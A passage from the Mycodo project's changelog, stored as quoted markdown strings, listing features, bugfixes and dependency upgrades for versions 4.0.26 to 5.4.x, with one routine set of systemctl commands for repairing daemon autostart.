double-logging of output durations", "### Miscellaneous", " - Update Manual with Math Controller information", "\n## 5.4.11 (2017-11-29)", "### Bugfixes", " - Fix issue displaying Camera page", "\n## 5.4.10 (2017-11-28)", "### Features", " - Add display of all detected I2C devices on the System Information page", "### Bugfixes", " - Change web UI restart command\n - Fix issue saving Timer options ([#334](https://github.com/kizniche/mycodo/issues/334))\n - Fix Output Usage error", "\n## 5.4.9 (2017-11-27)", "### Bugfixes", " - Fix adding Gauges ([#333](https://github.com/kizniche/mycodo/issues/333))", "\n## 5.4.8 (2017-11-22)", "### Features", " - Add 1 minute, 5 minute, and 15 minute options to Graph Range Selector ([#319](https://github.com/kizniche/mycodo/issues/319))", "### Bugfixes", " - Fix AM2315 sensor measurement acquisition ([#328](https://github.com/kizniche/mycodo/issues/328))", "\n## 5.4.7 (2017-11-21)", "### Bugfixes", " - Fix flood of errors in the log if an LCD doesn't have a measurement to display\n - Fix LCD display being offset one character when displaying errors", "\n## 5.4.6 (2017-11-21)", "### Features", " - Add Max Age (seconds) to LCD line options\n - Make LCDs collapsable in the web UI", "### Bugfixes", " - Fix saving user theme ([#326](https://github.com/kizniche/mycodo/issues/326))", "\n## 5.4.5 (2017-11-21)", "### Features", " - Add Freqency, Duty Cycle, Pulse Width, RPM, and Linux Command variables to Conditional commands ([#311](https://github.com/kizniche/mycodo/issues/311)) (See [Input Conditional command variables](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.md#input-conditional-command-variables))\n - Add Graph options: Enable Auto Refresh, Enable Title, and Enable X-Axis Reset ([#319](https://github.com/kizniche/mycodo/issues/319))\n - Add automatic checks for Mycodo updates (can be disabled in the configuration)", "### Bugfixes", " - Fix Input Conditional variable", "\n## 5.4.4 (2017-11-19)", "### Features", " - Add 12-volt DC fan control circuit to manual (@Theoi-Meteoroi) ([#184](https://github.com/kizniche/mycodo/issues/184)) (See [Schematics for DC Fan Control](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.md#schematics-for-dc-fan-control))", "### Bugfixes", " - Fix PWM Signal, RPM Signal, DHT22, and DHT11 Inputs ([#324](https://github.com/kizniche/mycodo/issues/324))\n - Add Frequency, Duty Cycle, Pulse Width, and RPM to y-axis Graph display", "### Miscellaneous", " - Upgrade InfluxDB from 1.3.7 to 1.4.2", "\n## 5.4.3 (2017-11-18)", "### Bugfixes", " - Fix Output Conditional triggering ([#323](https://github.com/kizniche/mycodo/issues/323))\n ", "## 5.4.2 (2017-11-18)", "### Features", " - Add Output Conditional If option of \"On (any duration)\" ([#323](https://github.com/kizniche/mycodo/issues/323)) (See [Output Conditional Statement If Options](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.md#output-conditional-statement-if-options))", "### Bugfixes", " - Fix display of first point of Daily Bezier method\n - Fix inability to use Daily Bezier method in PID ([#323](https://github.com/kizniche/mycodo/issues/323))\n - Fix saving Output options and turning Outputs On and Off", "\n## 5.4.1 (2017-11-17)", "### Features", " - Prevent currently-logged in user from: deleting own user, changing user role from Admin\n - Force iPhone to open Mycodo bookmark as standalone web app instead of in Safari\n - Refactor and add tests for all inputs ([#128](https://github.com/kizniche/mycodo/issues/128))\n - Add Flask-Limiter to limit authentication requests to 30 per minute (mainly for Remote Admin feature)\n - Add first working iteration of data acquisition to the Remote Admin dashboard\n - Add SSL certificate authentication with Remote Admin communication", "### Bugfixes", " - Fix inability to modify timer options ([#318](https://github.com/kizniche/mycodo/issues/318))", "### Miscellaneous", " - Rename objects (warning: this may break some things. I tried to be thorough with testing)\n - Switch from using init.d to systemd for controlling apache2", "\n## 5.4.0 (2017-11-12)", "This release has refactored how LCD displays are handled, now allowing an infinite number of data sets on a single LCD.", "Note: All LDCs will be deactivated during the upgrade. As a consequence, LCD displays will need to be reconfigured and reactivated.", "***Note 2: During the upgrade, the web interface will display \"500 Internal Server Error.\" This is normal and you should give Mycodo 5 to 10 minutes (or longer) to complete the upgrade process before attempting to access the web interface again.***", "### Features", " - Add ability to cycle infinite sets of data on a single LCD display ([#316](https://github.com/kizniche/mycodo/issues/316))\n - Add logrotate script to manage mycodo logs", "### Bugfixes", " - Fix language selection being applied globally (each user now has own language)\n - Fix display of degree symbols on LCDs", "\n## 5.3.6 (2017-11-11)", "### Features", " - Allow camera options to be used for picamera library", "### Bugfixes", " - Fix inability to take a still image while a video stream is active\n - Make creating new user names case-insensitive\n - Fix theme not saving when creating a new user", "### Miscellaneous", " - Remove ability to change camera library after a camera has been added\n - Update Korean translation", "\n## 5.3.5 (2017-11-10)", "### Features", " - Add timestamp to lines of the upgrade/backup/restore logs\n - Add sensor measurement smoothing to Chirp light sensor (module will soon expand to all sensors)\n - Add ability to stream video from USB cameras\n - Add ability to stream video from several cameras at the same time", "### Bugfixes", " - Fix an issue loading the camera settings page without a camera connected\n - Fix video streaming with Pi Camera ([#228](https://github.com/kizniche/mycodo/issues/228))", "### Miscellaneous", " - Split flaskform.py and flaskutils.py into smaller files for easier management", "\n## 5.3.4 (2017-11-06)", "Note: The Chirp light sensor scale has been inverted. Please adjust your settings accordingly to respond to 0 as darkness and 65535 as bright.", "### Features", " - Replace deprecated LockFile with fasteners ([#260](https://github.com/kizniche/mycodo/issues/260))\n - Add Timer type: PWM duty cycle output using Method ([#262](https://github.com/kizniche/mycodo/issues/262)), read more: [PWM Method](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.md#pwm-method)", "### Bugfixes", " - Fix display of PID setpoints on Graphs\n - Invert Chirp light sensor scale (0=dark, 65535=bright)", "### Miscellaneous", " - Update Korean translations\n - Add 2 more significant digits to ADC voltage measurements\n - Upgrade InfluxDB to v1.3.7", "\n## 5.3.3 (2017-10-29)", "### Features", " - Add Sample Time option to PWM and RPM Input options ([#302](https://github.com/kizniche/mycodo/issues/302))", "### Bugfixes", " - Fix issues with PWM and RPM Inputs ([#306](https://github.com/kizniche/mycodo/issues/306))", "\n## 5.3.2 (2017-10-28)", "### Features", " - Turning Outputs On or Off no longer refreshes the page ([#192](https://github.com/kizniche/mycodo/issues/192))", "### Bugfixes", " - Fix exporting measurements\n - Fix Live Data page displaying special characters ([#304](https://github.com/kizniche/mycodo/issues/304))\n - Fix PWM and RPM Input issues ([#302](https://github.com/kizniche/mycodo/issues/302))", "## 5.3.1 (2017-10-27)", "### Features", " - Add two new Inputs: PWM and RPM ([#302](https://github.com/kizniche/mycodo/issues/302))\n - Allow a PID to use both Relay and PWM Outputs ([#303](https://github.com/kizniche/mycodo/issues/303))", "\n## 5.3.0 (2017-10-24)", "#### ***IMPORTANT***", "Because of a necessary database schema change, this update will deactivate all PID controllers and deselect the input measurement. All PID controllers will need the input measurement reconfigured before they can be started again.", "### Features", "Input and Output Conditional commands may now include variables. There are 23 variables currently-supported. See [Conditional Statement variables](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.md#conditional-statement-variables) for details.", " - Add new Input type: Linux Command (measurement is the return value of an executed command) ([#264](https://github.com/kizniche/mycodo/issues/264))\n - Refactor PID input option to allow new input and simplify PID configuration\n - Add ability to select LCD I2C bus ([#300](https://github.com/kizniche/mycodo/issues/300))\n - Add ADC Option to Inverse Scale ([#297](https://github.com/kizniche/mycodo/issues/300))\n - Add ability to use variables in Input/Output Conditional commands", "### Bugfixes", " - Fix \"Too many files open\" error when using the TSL2591 sensor ([#254](https://github.com/kizniche/mycodo/issues/254))\n - Fix bug that had the potential to lose data with certain graph display configurations\n - Prevent more than one active PID from using the same output ([#108](https://github.com/kizniche/mycodo/issues/108))\n - Prevent a PID from using the same Raise and Lower output\n - Prevent a currently-active PID from changing the output to a currently-used output", "### Miscellaneous", " - Update Readme and Wiki to fix outdated and erroneous information and improve coverage ([#285](https://github.com/kizniche/mycodo/issues/285))", "\n## 5.2.5 (2017-10-14)", "### Features", " - Add another status indicator color (top-left of web UI): Orange: unable to connect to daemon", "### Bugfixes", " - Fix Asynchronous Graphs ([#296](https://github.com/kizniche/mycodo/issues/296))\n - Disable sensor tests to fix testing environment (will add later when the issue is diagnosed)", "\n## 5.2.4 (2017-10-05)", "### Features", " - Add ability to set time to end repeating duration method", "\n## 5.2.3 (2017-09-29)", "### Bugfixes", " - Fix issues with method repeat option", "\n## 5.2.2 (2017-09-27)", "### Features", " - Add 'restart from beginning' option to PID duration methods\n \n### Bugfixes", " - Fix adding new graphs", "\n## 5.2.1 (2017-09-21)", "### Bugfixes", " - Fix changing a gauge from angular to solid ([#274](https://github.com/kizniche/mycodo/issues/274))", "\n## 5.2.0 (2017-09-17)", "### Features", " - Add gauges to Live Graphs ([#274](https://github.com/kizniche/mycodo/issues/274))", "\n## 5.1.10 (2017-09-12)", "### Bugfixes", " - Fix issue reporting issue with the web UI communicating with the daemon ([#291](https://github.com/kizniche/mycodo/issues/291))", "\n## 5.1.9 (2017-09-07)", "### Features", " - Enable daemon monitoring script (cron @reboot) to start the daemon if it stops", "### Bugfixes", " - Potential fix for certain sensor initialization issues when using a multiplexer ([#290](https://github.com/kizniche/mycodo/issues/290))\n - Handle connection error when the web interface cannot connect to the daemon/relay controller ([#289](https://github.com/kizniche/mycodo/issues/289))", "\n## 5.1.8 (2017-08-29)", "### Bugfixes", " - Fix saving relay start state ([#289](https://github.com/kizniche/mycodo/issues/289))", "\n## 5.1.7 (2017-08-29)", "### Bugfixes", " - Fix MH-Z16 sensor issues in I2C read mode ([#281](https://github.com/kizniche/mycodo/issues/281))\n - Fix Atlas Scientific I2C device query response in the event of an error\n - Fix issue preventing PID from using duration Methods\n - Fix issue with PID starting a method again after it has already ended\n - Fix TSL2591 sensor ([#257](https://github.com/kizniche/mycodo/issues/257))\n - Fix saving relay trigger state ([#289](https://github.com/kizniche/mycodo/issues/289))", "\n## 5.1.6 (2017-08-11)", "### Features", " - Add MH-Z16 sensor module ([#281](https://github.com/kizniche/mycodo/issues/281))", "\n## 5.1.5 (2017-08-11)", "### Bugfixes", " - Fix MH-Z19 sensor module ([#281](https://github.com/kizniche/mycodo/issues/281))", "\n## 5.1.4 (2017-08-11)", "### Features", " - Update InfluxDB (v1.3.3) and pip packages", "### Bugfixes", " - Fix K30 sensor module ([#279](https://github.com/kizniche/mycodo/issues/279))", "\n## 5.1.3 (2017-08-10)", "### Bugfixes", " - Fix install issue in setup.sh install script (catch 1-wire error if not enabled) ([#258](https://github.com/kizniche/mycodo/issues/258))", "\n## 5.1.2 (2017-08-09)", "### Bugfixes", " - Fix new timers not working ([#284](https://github.com/kizniche/mycodo/issues/284))", "\n## 5.1.1 (2017-08-09)", "### Features", " - Add live display of upgrade log during upgrade\n \n### Bugfixes", " - Fix setup bug preventing database creation ([#277](https://github.com/kizniche/mycodo/issues/277), [#278](https://github.com/kizniche/mycodo/issues/278), [#283](https://github.com/kizniche/mycodo/issues/283))", "\n## 5.1.0 (2017-08-07)", "Some graphs will need to be manually reconfigured after upgrading to 5.1.0. This is due to adding PWM as an output and PID option, necessitating refactoring certain portions of code related to graph display.", "### Features", " - Add PWM support as output ([#262](https://github.com/kizniche/mycodo/issues/262))\n - Add PWM support as PID output\n - Add min and max duty cycle options to PWM PID\n - Add \"Max Amps\" as a general configuration option\n - Improve error reporting for devices and sensors\n - Add ability to power-cycle the DHT11 sensor if 3 consecutive measurements cannot be retrieved (uses power relay option) ([#273](https://github.com/kizniche/mycodo/issues/273))\n - Add MH-Z19 CO2 sensor", "### Bugfixes", " - Upgrade to InfluxDB 1.3.1 ([#8500](https://github.com/influxdata/influxdb/issues/8500) - fixes InfluxDB going unresponsive)\n - Fix K30 sensor module", "\n## 5.0.49 (2017-07-13)", "### Bugfixes", " - Move relay_usage_reports directory to new version during upgrade\n - Fix LCD display of PID setpoints with long float values (round two decimal places)\n - Fix geocoder issue", "\n## 5.0.48 (2017-07-11)", "### Features", " - Add power relay to AM2315 sensor configuration ([#273](https://github.com/kizniche/mycodo/issues/273))", "\n## 5.0.47 (2017-07-09)", "### Bugfixes", " - Fix upgrade script", "\n## 5.0.46 (2017-07-09)", "### Bugfixes", " - Fix upgrade initialization to include setting permissions", "\n## 5.0.45 (2017-07-07)", "### Bugfixes", " - Fix minor bug that leaves the .upgrade file in a backup, causing issue with upgrading after a restore", "\n## 5.0.44 (2017-07-06)", "### Bugfixes", " - Fix issues with restore functionality (still possibly buggy: use at own risk)", "\n## 5.0.43 (2017-07-06)", "### Bugfixes", " - Fix issues with restore functionality (still possibly buggy: use at own risk)", "\n## 5.0.42 (2017-07-06)", "### Features", " - Update InfluxDB to 1.3.0\n - Update pip package (geocoder)", "\n## 5.0.41 (2017-07-06)", "### Features", " - Add ability to restore backup (Warning: Experimental feature, not thoroughly tested)\n - Add ability to view the backup log on View Logs page\n - Add script to check if daemon uncleanly shut down during upgrade and remove stale PID file ([#198](https://github.com/kizniche/mycodo/issues/198))", "### Bugfixes", " - Fix error if country cannot be detected for anonymous statistics", "\n## 5.0.40 (2017-07-03)", "### Bugfixes", " - Fix install script error ([#253](https://github.com/kizniche/mycodo/issues/253))\n - Fix issue modulating relays if a conditionals using them are not properly configured ([#266](https://github.com/kizniche/mycodo/issues/266))", "\n## 5.0.39 (2017-06-27)", "### Bugfixes", " - Fix upgrade process", "\n## 5.0.38 (2017-06-27)", "### Bugfixes", " - Fix install script", "\n## 5.0.37 (2017-06-27)", "### Bugfixes", " - Change wiringpi during install", "\n## 5.0.36 (2017-06-27)", "### Features", " - Add ability to create a Mycodo backup\n - Add ability to delete a Mycodo backup\n - Remove mycodo-wrapper binary in favor of compiling it from source code during install/upgrade", "### Bugfixes", " - Fix issue with influxdb database and user creation during install ([#255](https://github.com/kizniche/mycodo/issues/255))\n \n### Work in progress", " - Add ability to restore a Mycodo backup", "\n## 5.0.35 (2017-06-18)", "### Bugfixes", " - Fix swap size check (and change to 512 MB) to permit pi_switch module compilation size requirement ([#258](https://github.com/kizniche/mycodo/issues/258))", "\n## 5.0.34 (2017-06-18)", "### Features", " - Add TSL2591 luminosity sensor ([#257](https://github.com/kizniche/mycodo/issues/257))\n - Update sensor page to more compact style", "### Bugfixes", " - Append setup.sh output to setup.log instead of overwriting ([#255](https://github.com/kizniche/mycodo/issues/255))\n - Fix display of error response when attempting to modify timer when it's active", "\n## 5.0.33 (2017-06-05)", "### Features", " - Add new relay type: Execute Commands (executes linux commands to turn the relay on and off)", "### Bugfixes", " - Fix query of ADC unit data (not voltage) from influxdb\n \n### Miscellaneous", " - Update influxdb to version 1.2.4\n - Update pip packages\n - Update Manual\n - Update translatable texts", "\n## 5.0.32 (2017-06-02)", "### Bugfixes", " - Fix display of PID output and setpoint on live graphs ([#252](https://github.com/kizniche/mycodo/issues/252))", "\n## 5.0.31 (2017-05-31)", "### Features", " - Add option to not turn wireless relay on or off at startup", "### Bugfixes", " - Fix inability to save SHT sensor options ([#251](https://github.com/kizniche/mycodo/issues/251))\n - Fix inability to turn relay on if another relay is unconfigured ([#251](https://github.com/kizniche/mycodo/issues/251))", "\n## 5.0.30 (2017-05-23)", "### Bugfixes", " - Fix display of proper relay status if pin is 0", "\n## 5.0.29 (2017-05-23)", "### Features", " - Relay and Timer page style improvements", "### Bugfixes", " - Add influxdb query generator with input checks", "\n## 5.0.28 (2017-05-23)", "### Features", " - Add support for Atlas Scientific pH Sensor ([#238](https://github.com/kizniche/mycodo/issues/238))\n - Add support for calibrating the Atlas Scientific pH sensor\n - Add UART support for Atlas Scientific PT-1000 sensor\n - Update Korean translations\n - Add measurement retries upon CRC fail for AM2315 sensor ([#246](https://github.com/kizniche/mycodo/issues/246))\n - Add page error handler that provides full traceback when the Web UI crashes\n - Display live pH measurements during pH sensor calibration\n - Add ability to clear calibration data from Atlas Scientific pH sensors\n - Add sensor option to calibrate Atlas Scientific pH sensor with the temperature from another sensor before measuring pH\n - Add 433MHz wireless transmitter/receiver support for relay actuation ([#88](https://github.com/kizniche/mycodo/issues/88), [#245](https://github.com/kizniche/mycodo/issues/245))", "### Bugfixes", " - Fix saving of proper start time during timer creation ([#248](https://github.com/kizniche/mycodo/issues/248))\n - Fix unicode error when generating relay usage reports", "\n## 5.0.27 (2017-04-12)", "### Bugfixes", " - Fix issue with old database entries and new graph page parsing\n - Revert to old relay form submission method (ajax method broken)", "\n## 5.0.26 (2017-04-12)", "### Bugfixes", " - Fix critical issue with upgrade script", "\n## 5.0.25 (2017-04-12)", "### Bugfixes", " - Fix setting custom graph colors", "\n## 5.0.24 (2017-04-12)", "### Features", " - Add toastr and ajax support for submitting forms without refreshing the page (currently only used with relay On/Off/Duration buttons) ([#70](https://github.com/kizniche/mycodo/issues/70))", "### Bugfixes", " - Fix issue with changing ownership of SSL certificates during install ([#240](https://github.com/kizniche/mycodo/issues/240))\n - Fix PID Output not appearing when adding new graph (modifying graph works)\n - Remove ineffective upgrade reversion script (reversion was risky)", "\n## 5.0.23 (2017-04-10)", "### Features", " - Add PID Output as a graph display option (useful for tuning PID controllers)", "### Bugfixes", " - Fix display of unicode characters ([#237](https://github.com/kizniche/mycodo/issues/237))", "\n## 5.0.22 (2017-04-08)", "### Features", " - Add sensor conditional: emailing of photo or video (video only supported by picamera library at the moment) ([#226](https://github.com/kizniche/mycodo/issues/226))", "### Bugfixes", " - Fix inability to display Sensor page if unable to detect DS18B20 sensors ([#236](https://github.com/kizniche/mycodo/issues/236))\n - Fix inability to disable relay during camera capture\n - Fix SSL generation script and strengthen from 2048 bit to 4096 bit RSA ([#234](https://github.com/kizniche/mycodo/issues/234))", "### Miscellaneous", " - New cleaner Timer page style", "\n## 5.0.21 (2017-04-02)", "### Bugfixes", " - Fix BMP280 sensor module initialization ([#233](https://github.com/kizniche/mycodo/issues/233))\n - Fix saving and display of PID and Relay values on LCDs", "\n## 5.0.20 (2017-04-02)", "### Bugfixes", " - Fix BMP280 sensor module initialization\n - Fix saving and display of PID and Relay values on LCDs\n - Fix inability to select certain measurements for a sensor under the PID options", "\n## 5.0.19 (2017-04-02)", "### Bugfixes", " - Fix BMP280 sensor I<sup>2</sup>C address options ([#233](https://github.com/kizniche/mycodo/issues/233))", "\n## 5.0.18 (2017-04-01)", "### Features", " - Add BMP280 I2C temperature and pressure sensor ([#233](https://github.com/kizniche/mycodo/issues/233))", "\n## 5.0.17 (2017-03-31)", "### Bugfixes", " - Fix issue with graph page crashing when non-existent sensor referenced ([#232](https://github.com/kizniche/mycodo/issues/232))", "\n## 5.0.16 (2017-03-30)", "### Features", " - New Mycodo Manual rendered in markdown, html, pdf, and plain text", "### Bugfixes", " - Fix BME280 sensor module to include calibration code (fixes \"stuck\" measurements)\n - Fix issue with graph page crashing when non-existent sensor referenced ([#231](https://github.com/kizniche/mycodo/issues/231))", "\n## 5.0.15 (2017-03-28)", "### Bugfixes", " - Fix issue with graph page errors when creating a graph with PIDs or Relays\n - Fix sensor conditional measurement selections ([#230](https://github.com/kizniche/mycodo/issues/230))\n - Fix inability to stream video from a Pi camera ([#228](https://github.com/kizniche/mycodo/issues/228))\n - Fix inability to delete LCD ([#229](https://github.com/kizniche/mycodo/issues/229))\n - Fix measurements export\n - Fix display of BMP and BH1750 sensor measurements in sensor lists (graphs/export)", "### Miscellaneous", " - Better exception-handling (clean up logging of influxdb measurement errors)", "\n## 5.0.14 (2017-03-25)", "### Features", " - Add BH1750 I2C light sensor ([#224](https://github.com/kizniche/mycodo/issues/224))", "### Bugfixes", " - Change default opencv values for new cameras ([#225](https://github.com/kizniche/mycodo/issues/225))\n - Fix relays not recording proper ON duration (which causes other issues) ([#223](https://github.com/kizniche/mycodo/issues/223))\n - Fix new graphs occupying 100% width (12/12 columns)", "\n## 5.0.13 (2017-03-24)", "### Bugfixes", " - Fix issue with adding/deleting relays\n - Fix inability to have multiple graphs appear on the same row\n - Fix UnicodeEncodeError when using translations\n - Fix BME280 sensor pressure/altitude", "\n## 5.0.12 (2017-03-23)", "### Bugfixes", " - Fix frontend and backend issues with conditionals", "\n## 5.0.11 (2017-03-22)", "### Bugfixes", " - Fix alembic database upgrade error (hopefully)", "\n## 5.0.10 (2017-03-22)", "### Bugfixes", " - Fix photos being taken uncontrollably when a time-lapse is active", "\n## 5.0.9 (2017-03-22)", "### Bugfixes", " - Update geocoder to 1.21.0 to attempt to resolve issue\n - Fix creation of alembic version number in database of new install\n - Add suffixes to distinguish Object from Die temperatures of TMP006 sensor on Live page\n - Fix reference to pybabel in virtualenv", "\n## 5.0.8 (2017-03-22)", "### Features", " - Add option to hide tooltips", "### Bugfixes", " - Add alembic upgrade check as a part of flask app startup\n - Fix reference to alembic for database upgrades\n - Fix photos being taken uncontrollably when a time-lapse is active\n - Show edge measurements as vertical bars instead of lines on graphs\n - Fix default image width/height when adding cameras\n - Prevent attempting to setup a relay at startup if the GPIO pin is < 1\n - Add coverage where DHT22 sensor could be power cycled to fix an inability to acquire measurements\n - Display the device name next to each custom graph color\n - Fix encoding error when collecting anonymous statistics ([#216](https://github.com/kizniche/mycodo/issues/216))", "### Miscellaneous", " - Update Influxdb to version 1.2.2\n - UI style improvements", "\n## 5.0.7 (2017-03-19)", "### Bugfixes", " - Fix pybabel reference during install/upgrade ([#212](https://github.com/kizniche/mycodo/issues/212))", "\n## 5.0.6 (2017-03-19)", "### Bugfixes", " - Fix edge detection conditional statements ([#214](https://github.com/kizniche/mycodo/issues/214))\n - Fix identification and conversion of dewpoint on live page ([#215](https://github.com/kizniche/mycodo/issues/215))", "\n## 5.0.5 (2017-03-18)", "### Bugfixes", " - Fix issue with timers not actuating relays ([#213](https://github.com/kizniche/mycodo/issues/213))", "\n## 5.0.4 (2017-03-18)", "### Bugfixes", " - Fix issues with saving LCD options ([#211](https://github.com/kizniche/mycodo/issues/211))", "\n## 5.0.0 (2017-03-18)", "### Bugfixes", " - Fixes inability of relay conditionals to operate ([#209](https://github.com/kizniche/mycodo/issues/209), [#210](https://github.com/kizniche/mycodo/issues/210))\n - Fix issue with user creation/deletion in web UI\n - Fix influxdb being unreachable directly after package install", "### Features", " - Complete Spanish translation\n - Add auto-generation of relay usage/cost reports on a daily, weekly, or monthly schedule\n - Add ability to check daemon health (mycodo_client.py --checkdaemon)\n - Add sensor conditional actions: Activate/Deactivate PID, Email Photo, Email Video\n - Add PID option: maximum allowable sensor measurement age (to allow the PID controller to manipulate relays, the sensor measurement must have occurred in the past x seconds)\n - Add PID option: minimum off duration for lower/raise relay (protects devices that require a minimum off period by preventing power cycling from occurring too quickly)\n - Add new sensor: Free Disk Space (of a set path)\n - Add new sensor: Mycodo Daemon RAM Usage (used for testing)\n - Add ability to use multiple camera configurations (multiple cameras)\n - Add OpenCV camera library to allow use of USB cameras ([#193](https://github.com/kizniche/mycodo/issues/193))\n - Automatically detect DS18B20 sensors in sensor configuration\n - Add ability to create custom user roles\n - Add new user roles: Editor and Monitor ([#46](https://github.com/kizniche/mycodo/issues/46))", "### Miscellaneous", " - Mobile display improvements\n - Improve content and accessibility of help documentation\n - Redesign navigation menu (including glyphs from bootstrap and fontawesome)\n - Move to using a Python virtual environment ([#203](https://github.com/kizniche/mycodo/issues/203))\n - Refactor the relay/sensor conditional management system\n - User names are no longer case-sensitive\n - Switch to using Flask-Login\n - Switch to using flask_wtf.FlaskForm (from using deprecated flask_wtf.Form)\n - Update web interface style and layout\n - Update influxdb to 1.2.1\n - Update Flask WTF to 0.14.2\n - Move from using sqlalchemy to flask sqlalchemy\n - Restructure database ([#115](https://github.com/kizniche/mycodo/issues/115), [#122](https://github.com/kizniche/mycodo/issues/122))", "\n## 4.2.0 (2017-03-16)", "### Features", " - Add ability to turn a relay on for a specific duration of time\n - Update style of Timer and Relay pages (mobile-compatibility)", "\n## 4.1.16 (2017-02-05)", "### Bugfixes", " - Revert back to influxdb 1.1.1 to fix LCD time display ([#7877](https://github.com/influxdata/influxdb/issues/7877) will fix, when released)\n - Fix influxdb not restarting after a new version is installed\n - Fix issue with relay conditionals being triggered upon shutdown\n - Fix asynchronous graph to use local timezone rather than UTC ([#185](https://github.com/kizniche/mycodo/issues/185))", "### Miscellaneous", " - Remove archived versions of Mycodo (Mycodo/old) during upgrade (saves space during backup)", "\n## 4.1.15 (2017-01-31)", "### Bugfixes", " - Fix LCD KeyError from missing measurement unit for durations_sec", "\n## 4.1.14 (2017-01-30)", "### Bugfixes", " - Fix DHT11 sensor module ([#176](https://github.com/kizniche/mycodo/issues/176))", "### Miscellaneous", " - Update influxdb to 1.2.0", "\n## 4.1.13 (2017-01-30)", "### Bugfixes", " - Fix DHT11 sensor module ([#176](https://github.com/kizniche/mycodo/issues/176))", "\n## 4.1.12 (2017-01-30)", "### Bugfixes", " - Fix PID controller crash", "\n## 4.1.11 (2017-01-30)", "This is a small update, mainly to fix the install script. It also *should* fix the DHT11 sensor module from stopping at the first bad checksum.", "### Bugfixes", " - Fix DHT11 sensor module, removing exception preventing acquisition of future measurements ([#176](https://github.com/kizniche/mycodo/issues/176))\n - Fix setup.sh install script by adding git as a dependency ([#183](https://github.com/kizniche/mycodo/issues/183))\n - Fix initialization script executed during install and upgrade", "\n## 4.1.10 (2017-01-29)", "### Bugfixes", " - Fix PID variable initializations\n - Fix KeyError in controller_lcd.py\n - Fix camera termination bug ([#178](https://github.com/kizniche/mycodo/issues/178))\n - Fix inability to pause/hold/resume PID controllers", "### Miscellaneous", " - Add help text for conditional statements to relay page ([#181](https://github.com/kizniche/mycodo/issues/181))", "\n## 4.1.9 (2017-01-27)", "This update fixes two major bugs: Sometimes admin users not being created properly from the web UI and the daemon not being set to automatically start during install.", "This update also fixes an even more severe bug affecting the database upgrade system. If you installed a system before this upgrade, you are probably affected. This release will display a message indicating if your database has an issue. Deleting ~/Mycodo/databases/mycodo.db and restarting the web server (or reboot) will regenerate the database.", "If your daemon doesn't automatically start because you installed it with a botched previous version, issue the following commands to add it to systemctl's autostart:", "***Important***: Make sure you rename 'user' below to your actual user where you installed Mycodo, and make sure the Mycodo install directory is correct and points to the correct mycodo.service file.", "```\nsudo service mycodo stop\nsudo systemctl disable mycodo.service\nsudo rm -rf /etc/systemd/system/mycodo.service\nsudo systemctl enable /home/user/Mycodo/install/mycodo.service\nsudo service mycodo start\n```", "### Features", " - Add check for problematic database and notify user how to fix it\n - Add ability to define the colors of lines on general graphs ([#161](https://github.com/kizniche/mycodo/issues/161))", "### Bugfixes", " - Update install instructions to correct downloading the latest release tarball\n - Fix for database upgrade bug that has been plaguing Mycodo for the past few releases\n - Fix incorrect displaying of graphs with relay or PID data\n - Fix relay turning off when saving relay settings and GPIO pin doesn't change\n - Fix bug that crashes the daemon if the user database is empty\n - Fix Spanish translation file errors\n - Fix mycodo daemon not automatically starting after install\n - Fix inability to create admin user from the web interface\n - Fix inability to delete methods\n - Fix Atlas PT100 sensor module 'invalid literal for float()' error\n - Fix camera termination bug ([#178](https://github.com/kizniche/mycodo/issues/178))", "Miscellaneous", " - Add new theme: Sun", "\n## 4.1.8 (2017-01-21)", "### Bugfixes", " - Actually fix the upgrade system (mycodo_wrapper)\n - Fix bug in DHT22 sensor module preventing measurements\n - Fix inability to show latest time-lapse image on the camera page (images are still being captured)", "### Miscellaneous", " - Update Spanish translations", "\n## 4.1.7 (2017-01-19)", "### Bugfixes", " - Fix upgrade system (mycodo_wrapper). This may have broke the upgrade system (if so, use the manual method in the README)\n - Fix time-lapses not resuming after an upgrade\n - Fix calculation of total 1-month relay usage and cost\n - Fix (and modify) the logging behavior in modules\n - Fix K30 sensor module returning None as a measurement value\n - Fix gpiod being added to crontab during install from setup.sh ([#174](https://github.com/kizniche/mycodo/issues/174))", "\n## 4.1.6 (2017-01-17)", "### Features", " - Add ability to export selected measurement data (in CSV format) from a date/time span", "### Bugfixes", " - Fix issue with setup.sh when the version of wget<1.16 ([#173](https://github.com/kizniche/mycodo/issues/173))\n - Fix error calculating rely usage when it's currently the billing day of the month", "### Miscellaneous", " - Remove Sensor Logs (Tools/Sensor Logs). The addition of the measurement export feature in this release deprecates Sensor Logs. Note that by the very nature of how the Sensor Log controllers were designed, there was a high probability of missing measurements. The new measurement export feature ensures all measurements are exported.\n - Add more translatable text\n - Add password repeat input when creating new admin user", "\n## 4.1.5 (2017-01-14)", "### Bugfixes", " - Fix DHT11 sensor module not returning values ([#171](https://github.com/kizniche/mycodo/issues/171))\n - Fix HTU21D sensor module not returning values ([#172](https://github.com/kizniche/mycodo/issues/172))", "\n## 4.1.4 (2017-01-13)", "This release introduces a new method for upgrading Mycodo to the latest version. Upgrades will now be performed from github releases instead of commits, which should prevent unintended upgrades to the public, facilitate bug-tracking, and enable easier management of a changelog.", "### Performance", " - Add ability to hold, pause and resume PID controllers\n - Add ability to modify PID controller parameters while active, held, or paused\n - New method of processing data on live graphs that is more accurate and reduced bandwidth\n - Install numpy binary from apt instead of compiling with pip", "### Features", " - Add ability to set the language of the web user interface ([#167](https://github.com/kizniche/mycodo/issues/167))\n - Add Spanish language translation\n - New upgrade system to perform upgrades from github releases instead of commits\n - Allow symbols to be used in a user password ([#76](https://github.com/kizniche/mycodo/issues/76))\n - Introduce changelog (CHANGELOG.md)", "### Bugfixes", " - Fix inability to update long-duration relay times on live graphs\n - Fix dew point being incorrectly inserted into the database\n - Fix inability to start video stream ([#155](https://github.com/kizniche/mycodo/issues/155))\n - Fix SHT1x7x sensor module not returning values ([#159](https://github.com/kizniche/mycodo/issues/159))", "### Miscellaneous", " - Add more software tests\n - Update Flask to v0.12\n - Update InfluxDB to v1.1.1\n - Update factory_boy to v2.8.1\n - Update sht_sensor to v16.12.1\n - Move install files to Mycodo/install", "\n## 4.0.26 (2016-11-23)", "### Features", " - Add more I2C LCD address options (again)\n - Add Fahrenheit conversion for temperatures on /live page\n - Add github issue template ([#150](https://github.com/kizniche/mycodo/issues/150) [#151](https://github.com/kizniche/Mycodo/pull/151))\n - Add information to the README about performing manual backup/restore\n - Add universal sensor tests", "### Bugfixes", " - Fix code warnings and 